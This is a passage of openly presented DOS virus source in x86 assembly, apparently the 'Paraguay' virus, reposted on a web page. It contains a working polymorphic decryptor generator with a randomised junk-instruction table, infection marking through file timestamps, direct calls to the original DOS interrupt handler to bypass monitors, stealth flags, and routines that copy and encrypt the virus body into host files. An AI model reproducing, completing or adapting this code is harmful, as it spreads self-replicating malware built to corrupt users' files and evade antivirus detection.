jmp Sigo
Muto6: mov bx,offset Paso1
mov [bx],05df8h ; CLC / POP BP
mov bx,offset Paso2
mov [bx],0ed81h ; SUB BP
mov bx,offset Paso3 ; 2 garbage bytes
mov cx,1
call Ygramul
Muto7: mov bx,offset Paso1
mov [bx],05af9h ; STC / POP DX
mov bx,offset Paso2
mov [bx],0ea81h ; SUB BX
mov bx,offset Paso3
cmp dl,85d
jb Little7
cmp dl,170d
jb Little72
mov [bx],0d589h ; MOV BP,DX
jmp short Sigo
Little7:mov [bx],0ea87h ; XCHG BP,DX
jmp short Sigo
Little72:mov [bx],0d587h ; XCHG DX,BP


Sigo: xor ax,ax ; So that CX is more randomic
in al,40h
mul byte ptr Cinco
cmp ax,Largor
ja Sigo ; Must be less than wanted value
xchg cx,ax
mov ax,Largor
sub ax,cx
mov bx,(offset Paso7+1) ; On their marks
mov [bx],ax
mov bx,(offset Paso8+2)
mov [bx],cx

sub ax,ax ; Divide the address from which
in al,40h ; we'll start the decryption
xchg cx,ax
mov ax,offset Jeroglifico
sub ax,cx
mov bx,(offset Paso4+2) ; Write values into memory
mov [bx],ax
mov bx,(offset Paso5+2)
mov [bx],cx

in al,40h
cmp al,85
jb Cambia3 ; Select index register
cmp al,170
jb Cambia2
mov bx,offset Paso4 ; LEA SI,[BP+XX]
mov [bx],0b68dh
mov bx,offset Paso5
mov [bx],0c681h ; ADD SI,XX
mov bx,offset Paso6
mov [bx],0b956h ; PUSH SI / MOV CX
mov bx,offset Paso9
mov [bx],03481h ; XOR WORD PTR [SI]
mov bx,offset Paso10
test al,3 ; Use other way
jz MasPoly
mov [bx],04646h ; INC SI / INC SI
jmp AlBuffer
MasPoly:mov [bx],0acach ; LODSB / LODSB
jmp AlBuffer
Cambia2:mov bx,offset Paso4 ; LEA BX,[BP+XX]
mov [bx],09e8dh
mov bx,offset Paso5
mov [bx],0c381h ; ADD BX,XX
mov bx,offset Paso6
mov [bx],0b953h ; PUSH BX / MOV CX
mov bx,offset Paso9
mov [bx],03781h ; XOR WORD PTR [BX]
mov bx,offset Paso10
mov [bx],04343h ; INC BX / INC BX
jmp AlBuffer
Cambia3:mov bx,offset Paso4 ; LEA DI,[BP+XX]
mov [bx],0be8dh
mov bx,offset Paso5
mov [bx],0c781h ; ADD DI,XX
mov bx,offset Paso6
mov [bx],0b957h ; PUSH DI / MOV CX
mov bx,offset Paso9
mov [bx],03581h ; XOR WORD PTR [DI]
mov bx,offset Paso10
mov [bx],04747h ; INC DI / INC DI


AlBuffer:
mov cx,200d ; Change opcode order in the table
call MuTabla ; named MontonDeBasura

sub dx,dx
mov bx,offset Ensuciar ; Add random garbage to the decryptor
Basureo:xor cx,cx
mov cx,[bx]
inc bx
inc bx
push bx
push dx
mov bx,[bx]
call Ygramul
pop dx
pop bx
inc bx
inc bx
inc dx
cmp dx,13
jb Basureo

mov cx,(Largor/2) ; Copy virus to heap
xor si,si
mov di,offset CopiaVir
rep movsw

mov cx,Cripted ; Encrypt it
mov si,(offset CopiaVir+Saltarlos)
mov di,si ; To use the decryptor with any
mov bx,di ; of the index registers
call Desencriptor ; chosen.
ret


Ensuciar: ; Locations of the decryptor in
dw 09,offset Paraguay ; which we'll insert garbage from
dw 04,offset Junk02 ; MontonDeBasura
dw 02,offset Junk03
dw 06,offset Junk04
dw 03,offset Junk05
dw 05,offset Junk06
dw 02,offset Junk07
dw 04,offset Junk08
dw 03,offset Junk09
dw 07,offset Junk10
dw 02,offset Junk11
dw 04,offset Junk12
dw 08,offset Junk13


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! PongoFecha: Restore victims date, and time with secs=60 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
PongoFecha:
mov ax,5701h ; Set
db 0b9h ; mov cx,time
Time dw 0 ; Last modified time
and cl,11100000b ; Set as infected
or cl,00011110b ; 30*2=60!
db 0bah ; mov dx,date
Date dw 0 ; Last modified date
pushf ; Call handler directly
call dword ptr cs:[Real21h]
ret ; And return


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Sub-Rutine used for pointer moves up to the end !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
AlFinal:mov ax,04202h ; To the end
xor cx,cx
cwd ; XOR DX,DX
int 21h
ret


Segmentos: ; DS:=CS & ES:=CS
push cs
push cs
pop ds
pop es
ret


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! MUTABLA: Exchange the trash opcodes position !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MuTabla:xor ax,ax
in al,40h ; Random number from port 40h
test al,1 ; Is it even?
jz YaEsPar
inc al ; If not, make it even
YaEsPar:mov si,offset MontonDeBasura ; The table
add si,ax ; Get a 2 byte-instruction
mov dx,[si] ; into DX
xor ax,ax
in al,40h ; Another random number
test al,1 ; If not even, make it even
jz Alli
inc al
Alli: mov di,offset MontonDeBasura ; Garbage 2-byte table
add di,ax ; Get the instruction
mov bx,[di] ; into bx
mov [si],bx ; Exchange its positions
mov [di],dx
loop MuTabla ; CX times
ret



;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! YGRAMUL: Chose random junk-instructions and put them into memory !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Ygramul:xor di,di ; Garbage intruder
Otro: xor ax,ax ; Ygramul, the mutant in Endless Story
in al,40h ; Random number
test al,1 ; Is it even?
jz Aqui
inc al ; Nope, add one
Aqui: mov si,offset MontonDeBasura
add si,ax ; Get the instruction
mov ax,si
mov dx,[si]
mov [bx],dx ; Write it in its position
inc bx ; add bx,2 (index)
inc bx
inc di ; Update the counter
cmp di,cx ; Enough?
jne Otro
ret


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Mont¢nDeBasura: The garbage instruction which variate the decryptor !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
MontonDeBasura: ; garbage heap

; Instrucci¢n Opcode
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä Ä Ä Ä Ä Ä
db 087h,0c0h ; xchg ax,ax
xchg bx,bx ; 87 DB
xchg cx,cx ; 87 C9
xchg dx,dx ; 87 D2
xchg si,si ; 87 F6
xchg di,di ; 87 FF
xchg bp,bp ; 87 ED
xchg al,al ; 86 C0
xchg bl,bl ; 86 DB
xchg cl,cl ; 86 C9
xchg dl,dl ; 86 D2
xchg ah,ah ; 86 E4
xchg bh,bh ; 86 FF
xchg ch,ch ; 86 ED
xchg dh,dh ; 86 F6
cld ; FB
int 03h ; CC
nop ; 90
nop ; 90
pushf ; 9C
popf ; 9D
push es ; 06
pop es ; 07
inc ax ; 40
dec ax ; 48
inc bx ; 43
dec bx ; 4B
inc cx ; 41
dec cx ; 49
inc dx ; 42
dec dx ; 4A
std ; FD
cld ; FC
stc ; F9
clc ; F8
jmp short $+2 ; EB 00
jc $+2 ; 72 00
jnc $+2 ; 73 00
jz $+2 ; 74 00
jnz $+2 ; 75 00
jpo $+2 ; 7B 00
jpe $+2 ; 7A 00
jno $+2 ; 71 00
jg $+2 ; 7F 00
js $+2 ; 78 00
or ax,ax ; 0B C0
or bx,bx ; 0B DB
or cx,cx ; 0B C9
or dx,dx ; 0B D2
or si,si ; 09 F6
or di,di ; 09 FF
or bp,bp ; 09 ED
or ah,ah ; 08 E4
or al,al ; 08 C0
or bh,bh ; 08 FF
or bl,bl ; 08 DB
or ch,ch ; 08 ED
or cl,cl ; 08 C9
or dh,dh ; 08 F6
or dl,dl ; 08 D2
and ax,ax ; 23 C0
and bx,bx ; 23 DB
and cx,cx ; 23 C9
and dx,dx ; 23 D2
and si,si ; 21 F6
and di,di ; 21 FF
and bp,bp ; 21 ED
and ah,ah ; 20 E4
and al,al ; 20 C0
and bh,bh ; 20 FF
and bl,bl ; 20 DB
and ch,ch ; 20 ED
and cl,cl ; 20 C9
and dh,dh ; 20 F6
and dl,dl ; 20 D2
mov ax,ax ; 89 C0
mov bx,bx ; 89 DB
mov cx,cx ; 89 C9
mov dx,dx ; 89 D2
mov si,si ; 89 F6
mov di,di ; 89 FF
mov bp,bp ; 89 ED
mov sp,sp ; 89 E4
mov ah,ah ; 88 E4
mov al,al ; 88 C0
mov bh,bh ; 88 FF
mov bl,bl ; 88 DB
mov ch,ch ; 88 ED
mov cl,cl ; 88 C9
mov dh,dh ; 88 F6
mov dl,dl ; 88 D2
cmp ax,ax ; 3B C0
cmp ax,bx ; 3B C3
cmp ax,cx ; 3B C1
cmp ax,dx ; 3B C2
cmp ax,si ; 3B C6
cmp ax,di ; 3B C7
cmp ax,bp ; 3B C5
cmp bx,ax ; 3B D8
cmp bx,bx ; 3B DB
cmp bx,cx ; 3B D9
cmp bx,dx ; 3B DA
cmp bx,si ; 3B DE
cmp bx,di ; 3B DF
cmp bx,bp ; 3B DD
cmp cx,ax ; 3B C8
cmp cx,bx ; 3B CB
cmp cx,cx ; 3B C9
cmp cx,dx ; 3B CA
cmp cx,si ; 3B CE
cmp cx,di ; 3B CF
cmp cx,bp ; 3B CD
cmp dx,ax ; 3B D0
cmp dx,bx ; 3B D3
cmp dx,cx ; 3B D1
cmp dx,dx ; 3B D2
cmp dx,si ; 3B D6
cmp dx,di ; 3B D7
cmp dx,bp ; 3B D5
cmp si,ax ; 3B F0
cmp si,bx ; 3B F3
cmp si,cx ; 3B F1
cmp si,dx ; 3B F2
cmp si,si ; 3B F6
cmp si,di ; 3B F7
cmp si,bp ; 3B F5
cmp di,ax ; 3B F8
cmp di,bx ; 3B FB
cmp di,cx ; 3B F9
cmp di,dx ; 3B FA
cmp di,si ; 3B FE
cmp di,di ; 3B FF
cmp di,bp ; 3B FD
cmp bp,ax ; 3B E8
cmp bp,bx ; 3B EB
cmp bp,cx ; 3B E9
cmp bp,dx ; 3B EA
cmp bp,si ; 3B EE
cmp bp,di ; 3B EF
cmp bp,bp ; 3B ED


Omega: ; End of virus on the file
HeavyMetal dw 0 ; Heavy Metal even in RAM ;)
Vsuck db 0 ; Vsafe's flags
HacerStealth db 1 ; Flag to make or not the stealth
Handle dw 0 ; File's key
Atributos db 0 ; File's attribs
Vieja24h dd 0 ; 24h's old handler
CopiaVir db Largor dup('P') ; Here will go the encrypted virus
Cabecera db 45d dup(0) ; We will read the file here

FakeHoste: mov ax,4c00h ; Turn back to DOS
int 21h

End Paraguay ; A virus never is finished, just
; abandonated. Now is my time ;)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT